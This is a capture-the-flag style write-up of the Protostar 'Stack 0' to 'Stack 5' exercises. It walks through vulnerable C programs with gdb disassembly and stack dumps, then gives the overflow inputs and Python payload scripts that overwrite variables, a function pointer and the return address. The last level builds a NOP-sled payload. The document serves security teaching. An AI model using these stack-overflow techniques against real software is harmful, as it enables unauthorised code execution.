Exploit Exercises Protostar Lab Write-Up
Stack 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\\\\n");
} else {
printf("Try again?\\\\n");
}
}
The variable modified
needs to be changed to pass the level. The program expects an input. Using gdb to disassemble -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
(gdb) break *0x0804840c
Breakpoint 1 at 0x804840c: file stack0/stack0.c, line 11.
(gdb) break *0x08048415
Breakpoint 2 at 0x8048415: file stack0/stack0.c, line 13.
The program is disassembled and the instructions can be mapped with the given c code to find out the location of the variable ‘modified’ which is at esp + x5c. The input is accepted at the gets function which has a vulnerability of accepting more than the buffer size declared. Adding breakpoints before gets function call and before the compare helps in analysis.
1
2
3
4
5
6
7
8
9
10
11
12
(gdb) r
Starting program: /opt/protostar/bin/stack0
Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff864) at stack0/stack0.c:11
11 stack0/stack0.c: No such file or directory.
in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0xb7fd7ff4 0x08049620 0xbffff788 0x080482e8
0xbffff780: 0xb7ff1040 0x08049620 0xbffff7b8 0x08048469
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
The 0x0000000 is the value of the variable of concern. This needs to be modified. Entering c to continue execution and entering a bunch of A’s to locate them on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x08048415 in main (argc=1, argv=0xbffff864) at stack0/stack0.c:13
13 in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0xbfff0041 0x08048469
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
The 0x41’s can now be located and the start address can be noted for the A’s. The number of A’s required to overwrite the value of the ‘modified’ variable is calculated as 17 words. Using python to print this and re executing the program, the required output is obtained.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0
Breakpoint 1, 0x0804840c in main (argc=1, argv=0xbffff864) at stack0/stack0.c:11
11 in stack0/stack0.c
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x08048415 in main (argc=1, argv=0xbffff864) at stack0/stack0.c:13
13 in stack0/stack0.c
(gdb) x/24wx $esp
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) c
Continuing.
you have changed the 'modified' variable
Program exited with code 051.
After this the desired result has been obtained. As clear, the location with 0x0000000 was overwritten with 0x41’s, hence changing the value of the ‘modified’ variable.
Stack 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\\\\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\\\\n");
} else {
printf("Try again, you got 0x%08x\\\\n", modified);
}
}
The code takes an argument from the command line to use in the program. The variable ‘modified’ needs to be changed by an overflow to 0x61626364. Disassembling the program using gdb -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) disas main
Dump of assembler code for function main:
0x08048464 <main+0>: push %ebp
0x08048465 <main+1>: mov %esp,%ebp
0x08048467 <main+3>: and $0xfffffff0,%esp
0x0804846a <main+6>: sub $0x60,%esp
0x0804846d <main+9>: cmpl $0x1,0x8(%ebp)
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: movl $0x80485a0,0x4(%esp)
0x0804847b <main+23>: movl $0x1,(%esp)
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: movl $0x0,0x5c(%esp)
0x0804848f <main+43>: mov 0xc(%ebp),%eax
0x08048492 <main+46>: add $0x4,%eax
0x08048495 <main+49>: mov (%eax),%eax
0x08048497 <main+51>: mov %eax,0x4(%esp)
0x0804849b <main+55>: lea 0x1c(%esp),%eax
0x0804849f <main+59>: mov %eax,(%esp)
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov 0x5c(%esp),%eax
0x080484ab <main+71>: cmp $0x61626364,%eax
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: movl $0x80485bc,(%esp)
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov 0x5c(%esp),%edx
0x080484c4 <main+96>: mov $0x80485f3,%eax
0x080484c9 <main+101>: mov %edx,0x4(%esp)
0x080484cd <main+105>: mov %eax,(%esp)
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret
End of assembler dump.
Adding breakpoints to the strcpy function call before and after to check the contents. From the assembly code, the location is at esp + x5c. Therefore, running with a bunch of A’s for location.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) break *0x080484a2
Breakpoint 1 at 0x80484a2: file stack1/stack1.c, line 16.
(gdb) break *0x080484a7
Breakpoint 2 at 0x80484a7: file stack1/stack1.c, line 18.
(gdb) r AAAAAAAAAAAAAAAAAAAAAA
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffff834) at stack1/stack1.c:16
16 stack1/stack1.c: No such file or directory.
in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff720: 0xbffff73c 0xbffff974 0xb7fff8f8 0xb7f0186e
0xbffff730: 0xb7fd7ff4 0xb7ec6165 0xbffff748 0xb7eada75
0xbffff740: 0xb7fd7ff4 0x080496fc 0xbffff758 0x08048334
0xbffff750: 0xb7ff1040 0x080496fc 0xbffff788 0x08048509
0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff788
0xbffff770: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000
(gdb) c
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff834) at stack1/stack1.c:18
18 in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff720: 0xbffff73c 0xbffff974 0xb7fff8f8 0xb7f0186e
0xbffff730: 0xb7fd7ff4 0xb7ec6165 0xbffff748 0x41414141
0xbffff740: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff750: 0xb7004141 0x080496fc 0xbffff788 0x08048509
0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff788
0xbffff770: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000
The A’s are now located. The 0x0000000 entry is the one that needs to be changed. The exact value required to be there is 0x61626364 which needs to be written backwards byte by byte to follow the little endianness. The number of bytes required to change can be counted and the last 4 need to be changed to 0x64636261 using python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Breakpoint 1, 0x080484a2 in main (argc=2, argv=0xbffff804) at stack1/stack1.c:16
16 in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff6f0: 0xbffff70c 0xbffff946 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0xb7eada75
0xbffff710: 0xb7fd7ff4 0x080496fc 0xbffff728 0x08048334
0xbffff720: 0xb7ff1040 0x080496fc 0xbffff758 0x08048509
0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff758
0xbffff740: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000
(gdb) c
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff804) at stack1/stack1.c:18
18 in stack1/stack1.c
(gdb) x/24wx $esp
0xbffff6f0: 0xbffff70c 0xbffff946 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x41414141 0x61626364
(gdb) c
Continuing.
you have correctly got the variable to the right value
Program exited with code 067.
Stack 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable; //*
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\\\\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\\\\n");
} else {
printf("Try again, you got 0x%08x\\\\n", modified);
}
}
The code has a variable called ‘variable’. This exits with an error if the variable is null. If it is not null then another variable called ‘modified’ is set to 0 after which the variable’s value is copied via strcpy to buffer. Strcpy copies the whole string into the buffer irrespective of the buffer size. Therefore, idea seems to be to set the env variable first to pass first test case then to modify or breach the content area of the variable ‘modified’ in the stack using overflow string as that which is the value of the env variable. Initially setting the env variable to a bunch of A’s to locate easily.
1
2
3
user@protostar:~$ export GREENIE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
user@protostar:~$ printenv GREENIE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Disassembling the executable in gdb.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(gdb) disas main
Dump of assembler code for function main:
0x08048494 <main+0>: push ebp
0x08048495 <main+1>: mov ebp,esp
0x08048497 <main+3>: and esp,0xfffffff0
0x0804849a <main+6>: sub esp,0x60
0x0804849d <main+9>: mov DWORD PTR [esp],0x80485e0
0x080484a4 <main+16>: call 0x804837c <getenv@plt>
0x080484a9 <main+21>: mov DWORD PTR [esp+0x5c],eax
0x080484ad <main+25>: cmp DWORD PTR [esp+0x5c],0x0
0x080484b2 <main+30>: jne 0x80484c8 <main+52>
0x080484b4 <main+32>: mov DWORD PTR [esp+0x4],0x80485e8
0x080484bc <main+40>: mov DWORD PTR [esp],0x1
0x080484c3 <main+47>: call 0x80483bc <errx@plt>
0x080484c8 <main+52>: mov DWORD PTR [esp+0x58],0x0
0x080484d0 <main+60>: mov eax,DWORD PTR [esp+0x5c]
0x080484d4 <main+64>: mov DWORD PTR [esp+0x4],eax
0x080484d8 <main+68>: lea eax,[esp+0x18]
0x080484dc <main+72>: mov DWORD PTR [esp],eax
0x080484df <main+75>: call 0x804839c <strcpy@plt>
0x080484e4 <main+80>: mov eax,DWORD PTR [esp+0x58]
0x080484e8 <main+84>: cmp eax,0xd0a0d0a
0x080484ed <main+89>: jne 0x80484fd <main+105>
0x080484ef <main+91>: mov DWORD PTR [esp],0x8048618
0x080484f6 <main+98>: call 0x80483cc <puts@plt>
0x080484fb <main+103>: jmp 0x8048512 <main+126>
0x080484fd <main+105>: mov edx,DWORD PTR [esp+0x58]
0x08048501 <main+109>: mov eax,0x8048641
0x08048506 <main+114>: mov DWORD PTR [esp+0x4],edx
0x0804850a <main+118>: mov DWORD PTR [esp],eax
0x0804850d <main+121>: call 0x80483ac <printf@plt>
0x08048512 <main+126>: leave
0x08048513 <main+127>: ret
End of assembler dump.
Putting breakpoints before and after the strcpy -
1
2
3
4
(gdb) break *0x080484df
Breakpoint 1 at 0x80484df: file stack2/stack2.c, line 20.
(gdb) break *0x080484e4
Breakpoint 2 at 0x80484e4: file stack2/stack2.c, line 22.
Analysing the assembly code, after the strcpy, the esp + x58 location is put into eax and compared to 0xd0a0d0a. Therefore, by overflowing the value of that location needs to be changed to 0xd0a0d0a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) r
Starting program: /opt/protostar/bin/stack2
Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff824) at stack2/stack2.c:20
20 stack2/stack2.c: No such file or directory.
in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff710: 0xbffff728 0xbffff9e4 0xb7fff8f8 0xb7f0186e
0xbffff720: 0xb7fd7ff4 0xb7ec6165 0xbffff738 0xb7eada75
0xbffff730: 0xb7fd7ff4 0x08049748 0xbffff748 0x08048358
0xbffff740: 0xb7ff1040 0x08049748 0xbffff778 0x08048549
0xbffff750: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff778
0xbffff760: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9e4
0xbffff770: 0x08048530 0x00000000 0xbffff7f8 0xb7eadc76
0xbffff780: 0x00000001 0xbffff824
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff824) at stack2/stack2.c:22
22 in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff710: 0xbffff728 0xbffff9e4 0xb7fff8f8 0xb7f0186e
0xbffff720: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0xbf004141 0x08048549
0xbffff750: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff778
0xbffff760: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9e4
0xbffff770: 0x08048530 0x00000000 0xbffff7f8 0xb7eadc76
0xbffff780: 0x00000001 0xbffff824
After the strcpy, the 0x41’s can be easily located. The first 0x00000000 at …f768 is the value of the variable that needs to be modified. Calculating the number of bytes to overflow into that particular stack location, enter the A’s and then 0xd0a0d0a using python and re run the program after storing the value as the env variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) r
Starting program: /opt/protostar/bin/stack2
Breakpoint 1, 0x080484df in main (argc=1, argv=0xbffff804) at stack2/stack2.c:20
20 stack2/stack2.c: No such file or directory.
in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff6f0: 0xbffff708 0xbffff9c2 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0xbffff718 0xb7eada75
0xbffff710: 0xb7fd7ff4 0x08049748 0xbffff728 0x08048358
0xbffff720: 0xb7ff1040 0x08049748 0xbffff758 0x08048549
0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x08048530 0xbffff758
0xbffff740: 0xb7ec6365 0xb7ff1040 0x00000000 0xbffff9c2
0xbffff750: 0x08048530 0x00000000 0xbffff7d8 0xb7eadc76
0xbffff760: 0x00000001 0xbffff804
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff804) at stack2/stack2.c:22
22 in stack2/stack2.c
(gdb) x/30wx $esp
0xbffff6f0: 0xbffff708 0xbffff9c2 0xb7fff8f8 0xb7f0186e
0xbffff700: 0xb7fd7ff4 0xb7ec6165 0x41414141 0x41414141
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff730: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x0d0a0d0a 0xbffff900
0xbffff750: 0x08048530 0x00000000 0xbffff7d8 0xb7eadc76
0xbffff760: 0x00000001 0xbffff804
The appropriate location is thus overwritten. Continuing the execution, the desired result is obtained.
1
2
3
4
(gdb) c
Continuing.
you have correctly modified the variable
Program exited with code 051.
Stack 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\\\\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();//*
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\\\\n", fp);
fp();
}
}
The code has a function declaration of win
. The function is not called throughout the code so the challenge is to cause an overflow such that the address of the function win
is passed onto the executable stack. The objdump -x for the executable shows that the stack has the permission of rwx. The pointer ‘fp’ is set to 0 after which a gets function is called which as known has the vulnerability of copying complete string passed into the memory. If ‘fp’ is overwritten successfully, then the if condition will turn out to be true and then ‘fp’ will be called which will in turn execute the function whose address is pointed by it. Therefore, the buffer needs to be overflowed with the address of the win
function at the end overwriting the value of ‘fp’. Disassembling using gdb and setting the breakpoints before and after gets statement.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>: lea eax,[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
End of assembler dump.
(gdb) break *main+24
Breakpoint 1 at 0x8048450: file stack3/stack3.c, line 18.
(gdb) break *main+29
Breakpoint 2 at 0x8048455: file stack3/stack3.c, line 20.
From the disassembled code, the location esp + x5c on the stack seems to be ‘fp’ which is set to 0. This is the value that needs to be overwritten. Running to find out start location of string using a bunch of A’s, and then calculating the number needed to overwrite ‘fp’.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) r
Starting program: /opt/protostar/bin/stack3
Breakpoint 1, 0x08048450 in main (argc=1, argv=0xbffff864) at stack3/stack3.c:18
18 stack3/stack3.c: No such file or directory.
in stack3/stack3.c
(gdb) x/24wx $esp
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0xb7fd7ff4 0x0804967c 0xbffff788 0x0804830c
0xbffff780: 0xb7ff1040 0x0804967c 0xbffff7b8 0x080484a9
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, main (argc=1, argv=0xbffff864) at stack3/stack3.c:20
20 in stack3/stack3.c
(gdb) x/24wx $esp
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0xbfff0041 0x080484a9
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000
The value 0x00000000 is the one that is to be overwritten. The number of A’s required to overwrite it is 16*4 plus the value that will overwrite. The value to be overwritten can be printed into a file and redirected. The value can be obtained by examining the win function.
1
2
(gdb) x win
0x8048424 <win>: 0x83e58955
Therefore, redirecting the value to a file and redirecting that to gdb run.
1
2
3
4
5
6
7
8
9
user@protostar:/opt/protostar/bin$ python -c 'print "A"*16*4 + "\\\\x24\\\\x84\\\\x04\\\\x08"' > /tmp/inputfile
user@protostar:/opt/protostar/bin$ gdb ./stack3
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) r < /tmp/inputfile
Starting program: /opt/protostar/bin/stack3 < /tmp/inputfile
calling function pointer, jumping to 0x08048424
code flow successfully changed
Program exited with code 037.
Therefore, the given function was called using an overflow.
Stack 4
The code for this level is -
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\\\\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
The code simply asks for the execution of the function ‘win’. For this the instruction pointer must be overwritten such that the address of the function ‘win’ is loaded onto the eip before the ret such that the function ‘win’ executes. Disassembling from gdb. Setting the breakpoint at the return instruction to examine the contents of the registers before exiting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.
Initially accuracy is not required therefore printed A to Z all characters in sets of 4 for easy identification in the stack. These characters are then put in a file in the home directory using python.
1
python -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"' | cat > hello
Now we can run using this as the input by redirecting the file to r in gdb.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) r < ~/hello
Starting program: /opt/protostar/bin/stack4 < ~/hello
Breakpoint 1, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b
) at stack4/stack4.c:16
16 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) info registers
eax 0xbffff770 -1073744016
ecx 0xbffff770 -1073744016
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7bc 0xbffff7bc
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x804841e 0x804841e <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
The base pointer was overwritten in the info. After continuing the eip changed to the set of 4 characters right after those of the base pointer because base pointer is also passed on the stack after the return address is passed. Therefore 54 was the value that got written in the eip which corresponds to the character ‘T’. Therefore if the T’s are replaced by the address of the ‘win’ function the execution will be transferred to that function. Using python again to print till s and then printing the address after checking from x win
into the same file.
1
2
3
4
5
6
7
user@protostar:~$ cat > hello.py
import sys
for i in "ABCDEFGHIJKLMNOPQRS":
sys.stdout.write(i+i+i+i)
user@protostar:~$ python hello.py > hello
user@protostar:~$ cat hello
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSuser@protostar:~$ python -c 'print "\\\\xf4\\\\x83\\\\x04\\\\x0"' | cat >> hello
After this the file hello will have the data required to be overflowed in the stack. After this, running by redirecting to gdb,
1
2
3
4
5
6
7
(gdb) r < ~/hello
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack4 < ~/hello
code flow successfully changed
Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
The overflow still is there because the values after the eip have also been rearranged or overwritten in the stack. Therefore, another segfault is received but the function ‘win’ is successfully executed seeing as the code flow message was printed. Hence function executed using overflow.
Stack 5
The program has the following code -
1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
The main objective seems to be redirecting the return of the program to get a shellcode. Using gdb to disassemble, and giving a breakpoint at the return statement to check the contents of the eip and stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
Giving the input file in the home directory with the contents “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ”, for easy identification.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(gdb) r < ~/input
Starting program: /opt/protostar/bin/stack5 < ~/input
(gdb) x/24wx $esp
0xbffff6bc: 0x54545454 0x55555555 0x56565656 0x57575757
0xbffff6cc: 0x58585858 0x59595959 0x5a5a5a5a 0xb7ffef00
0xbffff6dc: 0x08048232 0x00000001 0xbffff720 0xb7ff0626
0xbffff6ec: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff6fc: 0x00000000 0xbffff738 0xa47e1986 0x8e2bef96
0xbffff70c: 0x00000000 0x00000000 0x00000000 0x00000001
(gdb) si
Cannot access memory at address 0x53535357
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
(gdb) info registers
eax 0xbffff670 -1073744272
ecx 0xbffff670 -1073744272
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6c0 0xbffff6c0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x54545454 0x54545454
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
As seen the eip is overwritten by 0x54’s which is the hex for ‘T’. Therefore, upto before T, we get a seg fault and T will rewrite the eip. To create a NOP sled, add 200 NOPs and then a shellcode from shellstorm. Placing the address next to that of the T’s as the jump address at the eip, the interrupt works once but from the home directory gives an illegal instruction. This is so because of the address randomization and changes due to directory holding parameters etc. Therefore, NOP sled is added and then the address for the jump is made to 30 more than the immediately next stack pointer to aid the sled to reach the sigtrap. After this the code is the following.
1
2
3
import struct
a = struct.pack("I", 0xbffff6f0)
print("A"*19*4 + a + "\\\\x90"*100 + "\\\\xcc"*4)
